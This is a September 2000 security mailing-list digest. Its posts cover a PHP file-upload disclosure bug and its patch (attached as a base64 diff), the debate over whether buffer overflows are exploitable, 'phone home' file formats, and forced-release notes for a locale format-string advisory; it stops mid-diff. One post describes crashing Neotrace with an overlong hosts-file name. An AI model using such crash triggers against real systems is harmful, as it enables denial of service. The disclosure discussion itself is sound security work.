php-dev@lists.php.net Subject: Re: [PHP-DEV] FW: (SRADV00001) Arbitrary file disclosure throughPHP file upload > This just hit bugtraq. I'm formulating a reply presently, and will > cc you in on it. I think the author may be getting ahead of himself. > I still need to backpedal through the bug lists and see if this hasn't > been logged before.. He is a little bit confused. This has nothing to do with register_globals and turning off register_globals does nothing to fix this issue. I committed a patch which fixes the problem, but we will probably refine it. My suggestion is for people to simply check their $userfile_name variable and make sure they are copying a file from their tmp directory and nowhere else. And of course, your web server user id should not have access to sensitive files on your system anyway. -Rasmus --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 19:38:06 -0300 From: =?iso-8859-1?Q?Iv=E1n?= Arce Subject: Re: Remote DoS Attack in Eeye Iris 1.01 and SpyNet CaptureNet v3.12 Vulnerability MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit First, i'd like to say that i havent tested eEye's Iris, or USSRLabs exploit and this email is not a follow up off the eEye vs USSRlabs thread. But something from Synnergy's email catched my attention: Synnergy wrote: > > > Unless the reader is wearing some unique pair of magic goggles, the term > buffer overflow does -not- include "exploitable" unless it otherwise > states. > Not all buffer overflow's are exploitable, but can be used to cause some > arbitary problem, such as a DoS. I am sure you are aware of this by now. > However, whether or not the problem is a result of a heap based overflow > remains to be seen. The excess packets sent cause the graphical display > to update quicker than it can handle, resulting in the error, from what I > can tell. > This is be all means WRONG. And it appears to be the current trend among many computer security companies and experts. In my opinion, the opposite approach should be taken with regards to buffer overflows and any other bug for that matter. A buffer overflow is exploitable by default, unless probed otherwise. The problem with this is that probing that a buffer overflow is not exploitable consumes a lot more resources than the other way around. And thats probably why we see lots of 'advisories' mentioning denial of service attacks on several products where in fact, if more research was thrown in, those bugs could actually be exploitable buffer overflows that let the attacker execute arbitrary code. -ivan -- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, It's nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce ==================[ CORE Seguridad de la Informacion S.A. ]========= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A email : iarce@core-sdi.com http://www.core-sdi.com Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 Casilla de Correos 877 (1000) Correo Central ===================================================================== --- For a personal reply use iarce@core-sdi.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 15:35:49 +0300 From: Juliano Rizzo Subject: Re: Neotrace v2.12a Buffer Overflow [?] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 2/9 Juliano Rizzo wrote: [...] > Would be a problem if the same overflow occurs when the > program resolves domain names or request any other > information from a remote non trusted source. Well, I didn't say in my last post that there is a possible exploitable remote overflow in Neotrace v2.12a. It will crash resolving long domain names, the target host's name or any hop in the middle. You can check it editing the hosts file: 10.0.66.6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(a lot) Then try to use Neotrace against that ip, the AA's string will be lowercased before overflow. May be there are other exploitable bugs in this program, all the code should be checked if it try to be a secure application. -- Juliano Rizzo [www.core-sdi.com] julianor.tripod.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 12:31:34 -0400 From: "Richard M. Smith" Subject: Re: Other file formats that can "phone" home MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi, > There is really no distinction between web-enabled file formats and > web-enabled apps. Actually there is a very important difference. A "phone home" application in general only communicates with the vendor that produced the applicatoon. However, a "buggable" file format allows a document to talk to anyone's servers. In addtion, document files are more mobile than executable files and hence companies are more interested in doing tracking. > The ID3v2 tag format allows for embedded URLs for things like additional > artists' informations, album graphics, etc. Clearly the ID3v2 tags are > web-enabled, and any web-enabled MP3 player can be subverted to notify > somebody. Yep, for a "buggable" file format to actually work requires an application to be Web-enabled. Applications do not necessary handle the same file format in the same way. For example, not all applications which can read Word .DOC files support the image linking feature. Wordpad from Windows 98 is an example of program that apparently does not. > Now imagine a "smart" MP3 player that can reference an Internet DB for > album pictures by using the title in the MP3 tag to perform a query. There > need not be any URLs in that MP3 file... put the appropriate > keywords in the > title and the "smart" MP3 player can potentially be tricked to notifying > somebody without the user's knowledge. Are you aware of any of the popular MP3 players that support the ID3v2 tags in MP3 files? If so, do these players automatically render HTML content or fetch Web iamges when a song is played? If an MP3 player only provides clickable links to external content, then it seems to me that the privacy problems are less of an issue. In this case, a user has to take an action to be tracked. > Strictly speaking that is true; you can't "bug" a FILE that doesn't > support web links. But if the goal is to identify potential > privacy problems, > then we must also include any web-enabled application that can > automatically > "reach out" without the user's knowledge. The Privacy Center is actually in the process of wrapping up a study of 15 browser addons that "phone home". In addtion, my personal Web site has write-ups about other applications that "phone home": http://www.tiac.net/users/smiths/privacy/index.htm > Does anyone have know if current web-enabled apps use unique User-Agent > strings? For example, I would prefer that MS Word identify itself in the > User-Agent string when it retrieves a link over the Web (even if > it uses IE's > libraries to do so) I've seen some browser addons sending out unique user agent strings. In general, this sounds like a pretty good idea for the reasons that you have pointed out. However, vendors need to be careful about making applications too talkative. For example, sending out a product serial number as an HTTP header is a really bad idea. See ya, Richard ================================================ Richard M. Smith Chief Technology Officer Privacy Foundation Email: rms@privacyfoundation.org http://www.privacyfoundation.org ================================================ --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 13:54:55 -0400 From: Brian Smith Subject: Re: (SRADV00001) Arbitrary file disclosure through PHP file upload MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII A couple things I see with this: 1) Wouldn't the same problem also exist if you turned register_globals off and used the HTTP request value arrays? 2) It's not always a problem... it all depends on what you do with the uploaded file. I recently did a file upload form that merely emails the file as an attachment to a fixed address (for manual processing later)... nobody trying to exploit the script in the way that you're suggesting can get anything out of the script that way. ---------------------------------------------------------------------- Brian Smith // avalon73@earthling.net // http://www.arthurian.nu/ Software Developer // Gamer // Webmaster // System Administrator Echelon Teasers: NSA CIA FBI Mossad MI5 Cocaine Cuba Revolution Espionage --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 01:35:03 +0300 From: Zeev Suraski Subject: Re: [PHP-DEV] RE: (SRADV00001) Arbitrary file disclosure through PHP file upload MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_-2071718724==_" --=====================_-2071718724==_ Content-Type: text/plain; charset="us-ascii"; format=flowed The initial fix published earlier did NOT fix the vulnerability that was discovered, and could also cause crashes under certain circumstances. It could also cause some applications to fail, due to a side effect that prevents certain valid form variables from being processed correctly. The correct, tested fixed file (without any side effects) is available at http://cvsweb.php.net/viewcvs.cgi/~checkout~/php4/main/rfc1867.c?rev=1.45&content-type=text/plain The diff against version 4.0.2 is available at: http://cvsweb.php.net/viewcvs.cgi/php4/main/rfc1867.c.diff?r1=1.38%3Aphp_4_0_2&tr1=1.1&r2=text&tr2=1.45&diff_format=u It is also attached to this message. Thanks to James Moore for helping me test this fix. Zeev --=====================_-2071718724==_ Content-Type: application/octet-stream; name="rfc1867.c.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="rfc1867.c.diff" PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PQpSQ1MgZmlsZTogL3JlcG9zaXRvcnkvcGhwNC9tYWluL3JmYzE4NjcuYyx2CnJl dHJpZXZpbmcgcmV2aXNpb24gMS4zOApyZXRyaWV2aW5nIHJldmlzaW9uIDEuNDUKZGlmZiAtdSAt cjEuMzggLXIxLjQ1Ci0tLSBwaHA0L21haW4vcmZjMTg2Ny5jCTIwMDAvMDgvMDYgMDY6NDA6MjgJ MS4zOCBwaHBfNF8wXzIKKysrIHBocDQvbWFpbi9yZmMxODY3LmMJMjAwMC8wOS8wNCAyMjoyNjow MQkxLjQ1CkBAIC0xNSw3ICsxNSw3IEBACiAgICB8IEF1dGhvcnM6IFJhc211cyBMZXJkb3JmIDxy YXNtdXNAcGhwLm5ldD4gICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tKwogICovCi0vKiAkSWQ6IHJmYzE4NjcuYyx2IDEuMzggMjAwMC8wOC8wNiAwNjo0MDoy OCByYXNtdXMgRXhwICQgKi8KKy8qICRJZDogcmZjMTg2Ny5jLHYgMS40NSAyMDAwLzA5LzA0IDIy OjI2OjAxIHplZXYgRXhwICQgKi8KIAogI2luY2x1ZGUgPHN0ZGlvLmg+CiAjaW5jbHVkZSAicGhw LmgiCkBAIC0yOCwyOCArMjgsNTcgQEAKIAogCiAjZGVmaW5lIE5FV19CT1VOREFSWV9DSEVDSyAx Ci0jZGVmaW5lIFNBRkVfUkVUVVJOIHsgaWYgKG5hbWVidWYpIGVmcmVlKG5hbWVidWYpOyBpZiAo ZmlsZW5hbWVidWYpIGVmcmVlKGZpbGVuYW1lYnVmKTsgaWYgKGxidWYpIGVmcmVlKGxidWYpOyBp ZiAoYWJ1ZikgZWZyZWUoYWJ1Zik7IGlmKGFycl9pbmRleCkgZWZyZWUoYXJyX2luZGV4KTsgcmV0 dXJuOyB9CisjZGVmaW5lIFNBRkVfUkVUVVJOIHsgaWYgKG5hbWVidWYpIGVmcmVlKG5hbWVidWYp OyBpZiAoZmlsZW5hbWVidWYpIGVmcmVlKGZpbGVuYW1lYnVmKTsgaWYgKGxidWYpIGVmcmVlKGxi dWYpOyBpZiAoYWJ1ZikgZWZyZWUoYWJ1Zik7IGlmKGFycl9pbmRleCkgZWZyZWUoYXJyX2luZGV4 KTsgemVuZF9oYXNoX2Rlc3Ryb3koJlBHKHJmYzE4NjdfcHJvdGVjdGVkX3ZhcmlhYmxlcykpOyBy ZXR1cm47IH0KIAogLyogVGhlIGxvbmdlc3QgcHJvcGVydHkgbmFtZSB3ZSB1c2UgaW4gYW4gdXBs b2FkZWQgZmlsZSBhcnJheSAqLwogI2RlZmluZSBNQVhfU0laRV9PRl9JTkRFWCBzaXplb2YoIlt0 bXBfbmFtZV0iKQogCitzdGF0aWMgdm9pZCBhZGRfcHJvdGVjdGVkX3ZhcmlhYmxlKGNoYXIgKnZh cm5hbWUgUExTX0RDKQoreworCWludCBkdW1teT0xOworCisJemVuZF9oYXNoX2FkZCgmUEcocmZj MTg2N19wcm90ZWN0ZWRfdmFyaWFibGVzKSwgdmFybmFtZSwgc3RybGVuKHZhcm5hbWUpKzEsICZk dW1teSwgc2l6ZW9mKGludCksIE5VTEwpOworfQorCisKK3N0YXRpYyB6ZW5kX2Jvb2wgaXNfcHJv dGVjdGVkX3ZhcmlhYmxlKGNoYXIgKnZhcm5hbWUgUExTX0RDKQoreworCXJldHVybiB6ZW5kX2hh c2hfZXhpc3RzKCZQRyhyZmMxODY3X3Byb3RlY3RlZF92YXJpYWJsZXMpLCB2YXJuYW1lLCBzdHJs ZW4odmFybmFtZSkrMSk7Cit9CisKKworc3RhdGljIHZvaWQgc2FmZV9waHBfcmVnaXN0ZXJfdmFy aWFibGUoY2hhciAqdmFyLCBjaGFyICpzdHJ2YWwsIHp2YWwgKnRyYWNrX3ZhcnNfYXJyYXksIHpl bmRfYm9vbCBvdmVycmlkZV9wcm90ZWN0aW9uIEVMU19EQyBQTFNfREMpCit7CisJaWYgKG92ZXJy aWRlX3Byb3RlY3Rpb24gfHwgIWlzX3Byb3RlY3RlZF92YXJpYWJsZSh2YXIgUExTX0NDKSkgewor CQlwaHBfcmVnaXN0ZXJfdmFyaWFibGUodmFyLCBzdHJ2YWwsIHRyYWNrX3ZhcnNfYXJyYXkgRUxT X0NDIFBMU19DQyk7CisJfQorfQorCiAKLXN0YXRpYyB2b2lkIHJlZ2lzdGVyX2h0dHBfcG9zdF9m aWxlc192YXJpYWJsZShjaGFyICpzdHJ2YXIsIGNoYXIgKnZhbCwgenZhbCAqaHR0cF9wb3N0X2Zp bGVzIEVMU19EQyBQTFNfREMpCitzdGF0aWMgdm9pZCBzYWZlX3BocF9yZWdpc3Rlcl92YXJpYWJs ZV9leChjaGFyICp2YXIsIHp2YWwgKnZhbCwgcHZhbCAqdHJhY2tfdmFyc19hcnJheSwgemVuZF9i b29sIG92ZXJyaWRlX3Byb3RlY3Rpb24gRUxTX0RDIFBMU19EQykKK3sKKwlpZiAob3ZlcnJpZGVf cHJvdGVjdGlvbiB8fCAhaXNfcHJvdGVjdGVkX3ZhcmlhYmxlKHZhciBQTFNfQ0MpKSB7CisJCXBo cF9yZWdpc3Rlcl92YXJpYWJsZV9leCh2YXIsIHZhbCwgdHJhY2tfdmFyc19hcnJheSBFTFNfQ0Mg UExTX0NDKTsKKwl9Cit9CisKKworc3RhdGljIHZvaWQgcmVnaXN0ZXJfaHR0cF9wb3N0X2ZpbGVz X3ZhcmlhYmxlKGNoYXIgKnN0cnZhciwgY2hhciAqdmFsLCB6dmFsICpodHRwX3Bvc3RfZmlsZXMs IHplbmRfYm9vbCBvdmVycmlkZV9wcm90ZWN0aW9uIEVMU19EQyBQTFNfREMpCiB7CiAJaW50IHJl Z2lzdGVyX2dsb2JhbHMgPSBQRyhyZWdpc3Rlcl9nbG9iYWxzKTsKLQkKKwogCVBHKHJlZ2lzdGVy X2dsb2JhbHMpID0gMDsKLQlwaHBfcmVnaXN0ZXJfdmFyaWFibGUoc3RydmFyLCB2YWwsIGh0dHBf cG9zdF9maWxlcyBFTFNfQ0MgUExTX0NDKTsKKwlzYWZlX3BocF9yZWdpc3Rlcl92YXJpYWJsZShz dHJ2YXIsIHZhbCwgaHR0cF9wb3N0X2ZpbGVzLCBvdmVycmlkZV9wcm90ZWN0aW9uIEVMU19DQyBQ TFNfQ0MpOwogCVBHKHJlZ2lzdGVyX2dsb2JhbHMpID0gcmVnaXN0ZXJfZ2xvYmFsczsKIH0KIAog Ci1zdGF0aWMgdm9pZCByZWdpc3Rlcl9odHRwX3Bvc3RfZmlsZXNfdmFyaWFibGVfZXgoY2hhciAq dmFyLCB6dmFsICp2YWwsIHp2YWwgKmh0dHBfcG9zdF9maWxlcyBFTFNfREMgUExTX0RDKQorc3Rh dGljIHZvaWQgcmVnaXN0ZXJfaHR0cF9wb3N0X2ZpbGVzX3ZhcmlhYmxlX2V4KGNoYXIgKnZhciwg enZhbCAqdmFsLCB6dmFsICpodHRwX3Bvc3RfZmlsZXMsIHplbmRfYm9vbCBvdmVycmlkZV9wcm90 ZWN0aW9uIEVMU19EQyBQTFNfREMpCiB7CiAJaW50IHJlZ2lzdGVyX2dsb2JhbHMgPSBQRyhyZWdp c3Rlcl9nbG9iYWxzKTsKLQkKKwogCVBHKHJlZ2lzdGVyX2dsb2JhbHMpID0gMDsKLQlwaHBfcmVn aXN0ZXJfdmFyaWFibGVfZXgodmFyLCB2YWwsIGh0dHBfcG9zdF9maWxlcyBFTFNfQ0MgUExTX0ND KTsKKwlzYWZlX3BocF9yZWdpc3Rlcl92YXJpYWJsZV9leCh2YXIsIHZhbCwgaHR0cF9wb3N0X2Zp bGVzLCBvdmVycmlkZV9wcm90ZWN0aW9uIEVMU19DQyBQTFNfQ0MpOwogCVBHKHJlZ2lzdGVyX2ds b2JhbHMpID0gcmVnaXN0ZXJfZ2xvYmFsczsKIH0KIApAQCAtNzEsNiArMTAwLDggQEAKIAlFTFNf RkVUQ0goKTsKIAlQTFNfRkVUQ0goKTsKIAorCXplbmRfaGFzaF9pbml0KCZQRyhyZmMxODY3X3By b3RlY3RlZF92YXJpYWJsZXMpLCA1LCBOVUxMLCBOVUxMLCAwKTsKKwogCWlmIChQRyh0cmFja192 YXJzKSkgewogCQlBTExPQ19aVkFMKGh0dHBfcG9zdF9maWxlcyk7CiAJCWFycmF5X2luaXQoaHR0 cF9wb3N0X2ZpbGVzKTsKQEAgLTc4LDcgKzEwOSw2IEBACiAJCVBHKGh0dHBfZ2xvYmFscykucG9z dF9maWxlcyA9IGh0dHBfcG9zdF9maWxlczsKIAl9CiAKLQogCXB0ciA9IGJ1ZjsKIAlyZW0gPSBj bnQ7CiAJbGVuID0gc3RybGVuKGJvdW5kYXJ5KTsKQEAgLTE3Nyw5ICsyMDcsOSBAQAogCQkJCQl9 CiAJCQkJCXMgPSBzdHJyY2hyKGZpbGVuYW1lYnVmLCAnXFwnKTsKIAkJCQkJaWYgKHMgJiYgcyA+ IGZpbGVuYW1lYnVmKSB7Ci0JCQkJCQlwaHBfcmVnaXN0ZXJfdmFyaWFibGUobGJ1ZiwgcysxLCBO VUxMIEVMU19DQyBQTFNfQ0MpOworCQkJCQkJc2FmZV9waHBfcmVnaXN0ZXJfdmFyaWFibGUobGJ1 ZiwgcysxLCBOVUxMLCAwIEVMU19DQyBQTFNfQ0MpOwogCQkJCQl9IGVsc2UgewotCQkJCQkJcGhw X3JlZ2lzdGVyX3ZhcmlhYmxlKGxidWYsIGZpbGVuYW1lYnVmLCBOVUxMIEVMU19DQyBQTFNfQ0Mp OworCQkJCQkJc2FmZV9waHBfcmVnaXN0ZXJfdmFyaWFibGUobGJ1ZiwgZmlsZW5hbWVidWYsIE5V TEwsIDAgRUxTX0NDIFBMU19DQyk7CiAJCQkJCX0KIAogCQkJCQkvKiBBZGQgJGZvb1tuYW1lXSAq LwpAQCAtMTg5LDkgKzIxOSw5IEBACiAgICAgICAgICAgICAgICAgICAgICAgICBzcHJpbnRmKGxi dWYsICIlc1tuYW1lXSIsIG5hbWVidWYpOwogICAgICAgICAgICAgICAgICAgICB9CiAJCQkJCWlm IChzICYmIHMgPiBmaWxlbmFtZWJ1ZikgewotCQkJCQkJcmVnaXN0ZXJfaHR0cF9wb3N0X2ZpbGVz X3ZhcmlhYmxlKGxidWYsIHMrMSwgaHR0cF9wb3N0X2ZpbGVzIEVMU19DQyBQTFNfQ0MpOworCQkJ CQkJcmVnaXN0ZXJfaHR0cF9wb3N0X2ZpbGVzX3ZhcmlhYmxlKGxidWYsIHMrMSwgaHR0cF9wb3N0 X2ZpbGVzLCAwIEVMU19DQyBQTFNfQ0MpOwogCQkJCQl9IGVsc2UgewotCQkJCQkJcmVnaXN0ZXJf aHR0cF9wb3N0X2ZpbGVzX3ZhcmlhYmxlKGxidWYsIGZpbGVuYW1lYnVmLCBodHRwX3Bvc3RfZmls ZXMgRUxTX0NDIFBMU19DQyk7CisJCQkJCQlyZWdpc3Rlcl9odHRwX3Bvc3RfZmlsZXNfdmFyaWFi bGUobGJ1ZiwgZmlsZW5hbWVidWYsIGh0dHBfcG9zdF9maWxlcywgMCBFTFNfQ0MgUExTX0NDKTsK IAkJCQkJfQogCiAJCQkJCXN0YXRlID0gMzsKQEAgLTIyMSw3ICsyNTEsNyBAQAogCQkJCQl9IGVs c2UgewogCQkJCQkJc3ByaW50ZihsYnVmLCAiJXNfdHlwZSIsIG5hbWVidWYpOwogCQkJCQl9Ci0J CQkJCXBocF9yZWdpc3Rlcl92YXJpYWJsZShsYnVmLCBzLCBOVUxMIEVMU19DQyBQTFNfQ0MpOwor CQkJCQlzYWZlX3BocF9yZWdpc3Rlcl92YXJpYWJsZShsYnVmLCBzLCBOVUxMLCAwIEVMU19DQyBQ TFNfQ0MpOwogCQkJCQkKIAkJCQkJLyogQWRkICRmb29bdHlwZV0gKi8KIAkJCQkJaWYgKGlzX2Fy cl91cGxvYWQpIHsKQEAgLTIyOSw3ICsyNTksNyBAQAogCQkJCQl9IGVsc2UgewogCQkJCQkJc3By aW50ZihsYnVmLCAiJXNbdHlwZV0iLCBuYW1lYnVmKTsKIAkJCQkJfQotCQkJCQlyZWdpc3Rlcl9o dHRwX3Bvc3RfZmlsZXNfdmFyaWFibGUobGJ1ZiwgcywgaHR0cF9wb3N0X2ZpbGVzIEVMU19DQyBQ TFNfQ0MpOworCQkJCQlyZWdpc3Rlcl9odHRwX3Bvc3RfZmlsZXNfdmFyaWFibGUobGJ1Ziwgcywg aHR0cF9wb3N0X2ZpbGVzLCAwIEVMU19DQyBQTFNfQ0MpOwogCQkJCQlpZigqcyAhPSAnXDAnKSB7 CiAJCQkJCQkqKGxvYzIgLSAxKSA9ICdcbic7CiAJCQkJCX0KQEAgLTI1Miw3ICsyODIsOSBAQAog CQkJCX0KIAkJCQkqKGxvYyAtIDQpID0gJ1wwJzsKIAotCQkJCXBocF9yZWdpc3Rlcl92YXJpYWJs ZShuYW1lYnVmLCBwdHIsIGFycmF5X3B0ciBFTFNfQ0MgUExTX0NDKTsKKwkJCQkvKiBDaGVjayB0 byBtYWtlIHN1cmUgd2UgYXJlIG5vdCBvdmVyd3JpdGluZyBzcGVjaWFsIGZpbGUKKwkJCQkgKiB1 cGxvYWQgdmFyaWFibGVzICovCisJCQkJc2FmZV9waHBfcmVnaXN0ZXJfdmFyaWFibGUobmFtZWJ1 ZiwgcHRyLCBhcnJheV9wdHIsIDAgRUxTX0NDIFBMU19DQyk7CiAKIAkJCQkvKiBBbmQgYSBsaXR0 bGUga2x1ZGdlIHRvIHBpY2sgb3V0IHNwZWNpYWwgTUFYX0ZJTEVfU0laRSAqLwogCQkJCWl0eXBl ID0gcGhwX2NoZWNrX2lkZW50X3R5cGUobmFtZWJ1Zik7CkBAIC0zMTYsNyArMzQ4LDggQEAKIAkJ CQkJCXBocF9lcnJvcihFX1dBUk5JTkcsICJPbmx5ICVkIGJ5dGVzIHdlcmUgd3JpdHRlbiwgZXhw ZWN0ZWQgdG8gd3JpdGUgJWxkIiwgYnl0ZXMsIGxvYyAtIHB0ciAtIDQpOwogCQkJCQl9CiAJCQkJ fQotCQkJCXBocF9yZWdpc3Rlcl92YXJpYWJsZShuYW1lYnVmLCBmbiwgTlVMTCBFTFNfQ0MgUExT X0NDKTsKKwkJCQlhZGRfcHJvdGVjdGVkX3ZhcmlhYmxlKG5hbWVidWYgUExTX0NDKTsKKwkJCQlz YWZlX3BocF9yZWdpc3Rlcl92YXJpYWJsZShuYW1lYnVmLCBmbiwgTlVMTCwgMSBFTFNfQ0MgUExT X0NDKTsKIAogCQkJCS8qIEFkZCAkZm9vW3RtcF9uYW1lXSAqLwogCQkJCWlmKGlzX2Fycl91cGxv YWQpIHsKQEAgLTMyNCw3ICszNTcsOCBAQAogCQkJCX0gZWxzZSB7CiAJCQkJCXNwcmludGYobGJ1 ZiwgIiVzW3RtcF9uYW1lXSIsIG5hbWVidWYpOwogCQkJCX0KLQkJCQlyZWdpc3Rlcl9odHRwX3Bv c3RfZmlsZXNfdmFyaWFibGUobGJ1ZiwgZm4sIGh0dHBfcG9zdF9maWxlcyBFTFNfQ0MgUExTX0ND KTsKKwkJCQlhZGRfcHJvdGVjdGVkX3ZhcmlhYmxlKGxidWYgUExTX0NDKTsKKwkJCQlyZWdpc3Rl cl9odHRwX3Bvc3RfZmlsZXNfdmFyaWFibGUobGJ1ZiwgZm4sIGh0dHBfcG9zdF9maWxlcywgMSBF TFNfQ0MgUExTX0NDKTsKIAkJCQl7CiAJCQkJCXp2YWwgZmlsZV9zaXplOwogCkBAIC0zMzcsNyAr MzcxLDcgQEAKIAkJCQkJfSBlbHNlIHsKIAkJCQkJCXNwcmludGYobGJ1ZiwgIiVzX3NpemUiLCBu YW1lYnVmKTsKIAkJCQkJfQotCQkJCQlwaHBfcmVnaXN0ZXJfdmFyaWFibGVfZXgobGJ1ZiwgJmZp bGVfc2l6ZSwgTlVMTCBFTFNfQ0MgUExTX0NDKTsKKwkJCQkJc2FmZV9waHBfcmVnaXN0ZXJfdmFy aWFibGVfZXgobGJ1ZiwgJmZpbGVfc2l6ZSwgTlVMTCwgMCBFTFNfQ0MgUExTX0NDKTsKIAogCQkJ CQkvKiBBZGQgJGZvb1tzaXplXSAqLwogCQkJCQlpZihpc19hcnJfdXBsb2FkKSB7CkBAIC0zNDUs NyArMzc5LDcgQEAKIAkJCQkJfSBlbHNlIHsKIAkJCQkJCXNwcmludGYobGJ1ZiwgIiVzW3NpemVd IiwgbmFtZWJ1Zik7CiAJCQkJCX0KLQkJCQkJcmVnaXN0ZXJfaHR0cF9wb3N0X2ZpbGVzX3Zhcmlh YmxlX2V4KGxidWYsICZmaWxlX3NpemUsIGh0dHBfcG9zdF9maWxlcyBFTFNfQ0MgUExTX0NDKTsK KwkJCQkJcmVnaXN0ZXJfaHR0cF9wb3N0X2ZpbGVzX3ZhcmlhYmxlX2V4KGxidWYsICZmaWxlX3Np emUsIGh0dHBfcG9zdF9maWxlcywgMCBFTFNfQ0MgUExTX0NDKTsKIAkJCQl9CiAJCQkJc3RhdGUg PSAwOwogCQkJCXJlbSAtPSAobG9jIC0gcHRyKTsK --=====================_-2071718724==_ Content-Type: text/plain; charset="us-ascii"; format=flowed -- Zeev Suraski http://www.zend.com/ --=====================_-2071718724==_-- --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 17:32:45 -0700 From: Vulnerability Help Subject: FORCED RELEASE NOTES - CORE-090400 - BID 1634 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII -----BEGIN PGP SIGNED MESSAGE----- As part of the VulnHelp policy: http://www.securityfocus.com/archive/1/80167 The SecurityFocus Vulnerability Help Team is releasing details behind the FORCED RELEASE of the CORE-SDI Advisory "UNIX locale format string vulnerability". Ivan Arce of CORE-SDI has already made an explanatory post to BUGTRAQ on this issue. Hopefully this post can compliment that. VENDOR CONTACT DATE: August 22, 2000 VENDORS CONTACTED: Sun Microsystems - security-alert@sun.com Silicon Graphics - security-alert@sgi.com, agent99@sgi.com SCO - security-alert@sco.com, IBM - security-alert@austin.ibm.com HP - security-alert@hp.com FreeBSD - security-officer@freebsd.org Debian - security@debian.org Connectiva - security@conectiva.com.br NetBSD - security-alert@netbsd.org RedHat - security@redhat.com OpenBSD - deraadt@openbsd.org COMPAQ - rich.boren@compaq.com Mandrake - security@linux-mandrake.com FORCED RELEASE REASONING: The information on this vulnerability became available via several Linux Vendor advisories. Given the nature of the bug CORE-SDI felt it was important to post the advisory. The advisories in question were: 1. RedHat - glibc vulnerabilities in ld.so, locale and gettext http://www.securityfocus.com/advisories/2576 2. Debian - Glibc Vulnerability http://www.securityfocus.com/advisories/2578 Neither company responded to the original message, neither warned us to the fact they were contacted by other people with information that pertained to the same vulnerability, and they failed to warn us they were going to release an advisory. CHRONOLOGY AND BACKGROUND On August 22 CORE-SDI in conjunction with the SecurityFocus Vulnerability Help Team mailed the above listed vendors with information on a vulnerability in the Locale Subsystem. It was thought at the time that the vulnerability was shared by several differant vendors. However, given some preliminary testing by CORE-SDI it was found that Linux distribution's glibc prevented the attack from happenning even though a number of binaries were vulnerable to the attack in question. Nonetheless Linux vendors were mailed in order to confirm that this was in fact true. At roughly the same time several other independant sources were in contact with the glibc development team and directly with vendors to notify them that glibc contained a vulnerability which could be used in conjunction with the same vulnerability which CORE-SDI had found in order to gain root. This series of events as best we can tell at the moment was as such: 1. Solar Designer discovered this problem (or a subset thereof) and mailed a developer of glibc in concerns to this vulnerability on 2000/08/17. 2. Jouko Pynnvnen August 27, 2000 finds a variant of this vulnerability and noted this via the GNATS web based bug database for glibc: http://www-gnats.gnu.org:8080/cgi-bin/wwwgnats.pl/full/1870 Further, discussion was started on the Vendor Security List vendor-sec@lst.de . 3. "zenith parsec" found a variant of this bug and also published it to GNATS web based bug database for glibc on Sep 2, 2000: http://www-gnats.gnu.org:8080/cgi-bin/wwwgnats.pl/full/1883 NOTES The net result here is that Linux vendors were aware this problem existed in *other* non Linux UNIX distributions. In particular they were aware of the fact that Solaris was vulnerable, yet advisories were released regardless of this. It is a given that people who understand that the Local Subsystem is cross platform (this is essentially anyone who reads Bugtraq..) would realize that this problem would affect more than just Linux distributions. As a result of no attempt to work amongst the Linux vendors with other vendors a series of OS's are now unprotected to a very serious, very wide spread bug. That being said, there really is no one to blame for this situation. There exists no forum for competing vendors to share information like this and further many vendors simply don't seem interested in working with other vendors to see multi vendor vulnerabiltities resolved. It's likely that this type of incident will happen again. Signed, SecurityFocus Vulnerability Help Team -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.3 for non-commercial use iQEVAwUBObRLEF15pZzZvm7VAQE9tAgAgd7Y2FIv7O+nl6C0VEEqqpP8gm7waxm9 taQhrNrN9Tt/ubiqXnDSYaOlyP/gnr4NTuRYi08+fB3L7PDPLX2un1z2ljtjU9Wd S2VrUBL/fkETagrOCWqNnEGBPnjo1ddY3o+8Fi6+mvKysrMCg0VGODNeiFcJOlXz sN+d9YyNOkmJiDuL5azz3/7+x+IEdM94pxo8y7YSZYrCRG0u/dytH8bBvl8lPGUR cDtU6CG5QdyfTtDa9+OfkMbifWsDiAfBsWTwUXYqGrLVAqW1rei7wmOM+F1IeVGm tKo4TAGDCIR/JYGv2RNKwljcdcCPcWpWx6naFCg7sjWMm42QG9+PNA== =zC/K -----END PGP SIGNATURE----- --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Tue, 5 Sep 2000 07:23:24 +0300 From: Zeev Suraski Subject: Re: [PHP-DEV] RE: (SRADV00001) Arbitrary file disclosure throughPHP file upload MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed True, you need to update another file as well (./main/php_globals.h): =================================================================== RCS file: /repository/php4/main/php_globals.h,v retrieving revision 1.53 retrieving revision 1.54 diff -u -r1.53 -r1.54 --- php4/main/php_globals.h 2000/07/04 09:15:06 1.53 +++ php4/main/php_globals.h 2000/09/04 19:07:50 1.54 @@ -94,6 +94,8 @@ 